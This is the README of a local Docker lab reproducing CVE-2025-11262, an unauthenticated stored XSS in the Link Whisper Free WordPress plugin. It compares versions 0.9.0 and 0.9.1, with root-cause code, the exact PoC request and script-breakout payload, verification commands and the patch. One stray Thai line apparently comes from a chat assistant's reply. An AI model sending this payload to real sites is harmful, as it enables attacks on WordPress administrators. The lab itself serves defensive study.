
This repository contains a local Docker lab for reproducing CVE-2025-11262, an unauthenticated stored cross-site scripting issue affecting the WordPress plugin Link Whisper Free.
The lab compares two plugin versions:
| Service | Plugin version | Purpose | URL |
|---|---|---|---|
vuln | 0.9.0 | Vulnerable target | http://127.0.0.1:8081 |
patched | 0.9.1 | Patched comparison target | http://127.0.0.1:8082 |
The demonstrated vulnerability chain is:
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version
The attacker does not need to be logged in to plant the stored payload. The JavaScript executes later when a privileged WordPress user opens the affected admin page.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
นี่คือส่วน Root Cause Summary สำหรับเอาไปแทนใน README ได้เลยครับ เป็น public-safe ไม่พูดถึงไฟล์ภายในอย่าง vuln_detail.txt และอิงกับ lab/source ที่คุณใช้ตอนนี้
CVE-2025-11262 is caused by a stored JavaScript injection chain in Link Whisper Free 0.9.0.
The issue is not a single missing escaping call. It is a chain of multiple unsafe behaviors:
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page
Link Whisper Free registers an AI authentication REST endpoint under the plugin REST namespace:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
The endpoint is registered as a POST route:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
Because the permission callback is __return_true, the endpoint is reachable without authentication.
In the lab, the effective endpoint is:
/wp-json/link-whisper/ai-auth
This means an unauthenticated attacker can send a request to the endpoint without a WordPress session, nonce, or administrator account.
In Link Whisper Free 0.9.0, the handler reads attacker-controlled parameters from the REST request:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
The vulnerable behavior is the weak validation condition:
if(!empty($token) && false !== strpos($token, 'ai-')){
This only checks whether the supplied access token contains the string ai-.
There is no strict validation of user_id before it is stored:
update_option('wpil_ai_access_user_id', $user_id);
As a result, attacker-controlled JavaScript can be persisted in the WordPress options table.
The attacker-controlled user_id value is stored in the WordPress option:
wpil_ai_access_user_id
In this lab, the PoC sends the following local-only payload:
</script><script>alert("CVE-2025-11262-LAB")</script>
On the vulnerable service, the payload is stored as the value of wpil_ai_access_user_id.
The attacker does not need to be logged in to plant the payload. The payload is planted through the unauthenticated REST endpoint.
The stored value is later retrieved through the plugin settings logic:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
The value is assigned to $ai_id and rendered into the AI Subscription admin page.
In Link Whisper Free 0.9.0, the value is inserted directly into a JavaScript string:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
Because $ai_id is not escaped before being inserted into the JavaScript context, a stored payload can break out of the intended string and execute JavaScript when the admin page is opened.
With the lab payload, the vulnerable rendered output becomes equivalent to:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
In a browser, the injected closing </script> tag terminates the original script block, and the injected <script> block executes.
The payload is planted by an unauthenticated attacker, but execution requires a privileged WordPress user to open the affected admin page:
/wp-admin/admin.php?page=link_whisper_ai_subscription
In this lab, the affected page is opened as the WordPress administrator to trigger the alert dialog.
This makes the issue an unauthenticated stored XSS targeting authenticated WordPress administrators or privileged users who can access the Link Whisper AI Subscription admin page.
Link Whisper Free 0.9.1 adds stricter validation before storing the AI authentication values.
The patched handler requires the token and user ID to match strict formats:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
The important validation added for user_id is:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
This prevents arbitrary JavaScript from being stored as the AI user ID.
Version 0.9.1 also escapes the value before rendering it into the JavaScript context:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
The patch therefore mitigates the issue at two points:
Input validation before persistence
Output escaping before JavaScript rendering
The lab confirms the difference between 0.9.0 and 0.9.1.
On Link Whisper Free 0.9.0:
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")
On Link Whisper Free 0.9.1:
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert
The HTTP response alone is not sufficient to determine whether the target is vulnerable, because both versions may return "ok". The meaningful behavioral difference is whether the payload is persisted and later rendered in the admin JavaScript context.
The lab runs two isolated WordPress instances and two separate MySQL databases through Docker Compose.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
The Docker entrypoint automatically:
Default WordPress administrator credentials for both services:
admin / AdminPassw0rd!
Build and start the lab:
docker compose down -v
docker compose build --no-cache
docker compose up -d
Check the containers:
docker compose ps
Expected exposed services:
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
You can also watch the setup logs:
docker compose logs vuln patched
A successful setup should show Link Whisper active in each WordPress instance.
Run the PoC against the vulnerable service:
python3 poc/poc.py --url http://127.0.0.1:8081
The PoC sends this local-only payload through the unauthenticated REST endpoint:
</script><script>alert("CVE-2025-11262-LAB")</script>
After the script runs, open the printed admin URL in a browser and log in with:
admin / AdminPassw0rd!
On the vulnerable service, the browser should display an alert containing:
CVE-2025-11262-LAB
For comparison, run the same PoC against the patched service:
python3 poc/poc.py --url http://127.0.0.1:8082
Then open the printed admin URL for the patched service. No alert should be triggered.
Vulnerable target:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Patched target:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
The HTTP response alone is not enough to determine whether the target is vulnerable. The important difference is the browser behavior after the privileged user opens the affected admin page.

Suggested screenshot target:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
The screenshot should show the browser alert with:
CVE-2025-11262-LAB
The PoC is intentionally small and only requires a target URL:
python3 poc/poc.py --url http://127.0.0.1:8081
It sends a POST request to:
/wp-json/link-whisper/ai-auth
with the following form fields:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
On the vulnerable service, the stored value is later rendered into the AI Subscription page. When an administrator opens that page, the JavaScript executes.
On the patched service, the same payload should not result in an alert.
Check plugin versions:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
Check whether the vulnerable service stored the payload:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
Expected vulnerable value:
</script><script>alert("CVE-2025-11262-LAB")</script>
Check the patched service:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
Expected patched behavior:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
Check REST endpoint access logs:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Upgrade Link Whisper Free to 0.9.1 or later.
The patch prevents this lab payload from being persisted and rendered by adding stricter validation and safer output handling around the affected AI authentication flow.
For production environments, also consider:
Stop and remove containers, networks, and volumes:
docker compose down -v
Remove locally built images if desired:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
This lab is for local security research and controlled demonstration only.
Do not run the PoC against systems you do not own or do not have permission to test.
Do not use real credentials, production secrets, or external callbacks in this lab.
The PoC intentionally uses a visible alert() marker for screenshot evidence. It does not include payloads for credential theft, session theft, persistence beyond the lab, or automated administrator actions.
GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: Link Whisper Free vulnerability database entry
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
WordPress.org Plugin Directory: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
WordPress.org plugin package used by the vulnerable lab
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
WordPress.org plugin package used by the patched lab
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
WordPress plugin source browser: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
WordPress plugin source browser: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
WordPress plugin source browser: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
WordPress plugin source browser: Link Whisper 0.9.1 Settings.php
| Claim | Evidence | How to verify in this lab |
|---|
Link Whisper Free 0.9.0 is vulnerable. | Public advisories identify Link Whisper Free versions up to and including 0.9.0 as affected. | Run the PoC against http://127.0.0.1:8081 and open the printed admin URL. |
Link Whisper Free 0.9.1 contains the fix. | Public advisory and changelog data identify 0.9.1 as the patched version. | Run the same PoC against http://127.0.0.1:8082; no alert should appear. |
| Payload planting is unauthenticated. | The PoC sends a POST request without WordPress cookies, login, or nonce. | Inspect poc/poc.py; it only requires --url. |
| The visible impact is triggered in the WordPress admin area. | The stored value is rendered when the Link Whisper AI Subscription page is opened by a privileged user. | After running the PoC, log in as admin and open the printed admin URL. |
The patched target may still return "ok" at the HTTP layer. | Local testing showed both targets can return "ok"; the meaningful difference is whether the payload is persisted and executed. | Compare browser behavior on 8081 and 8082. |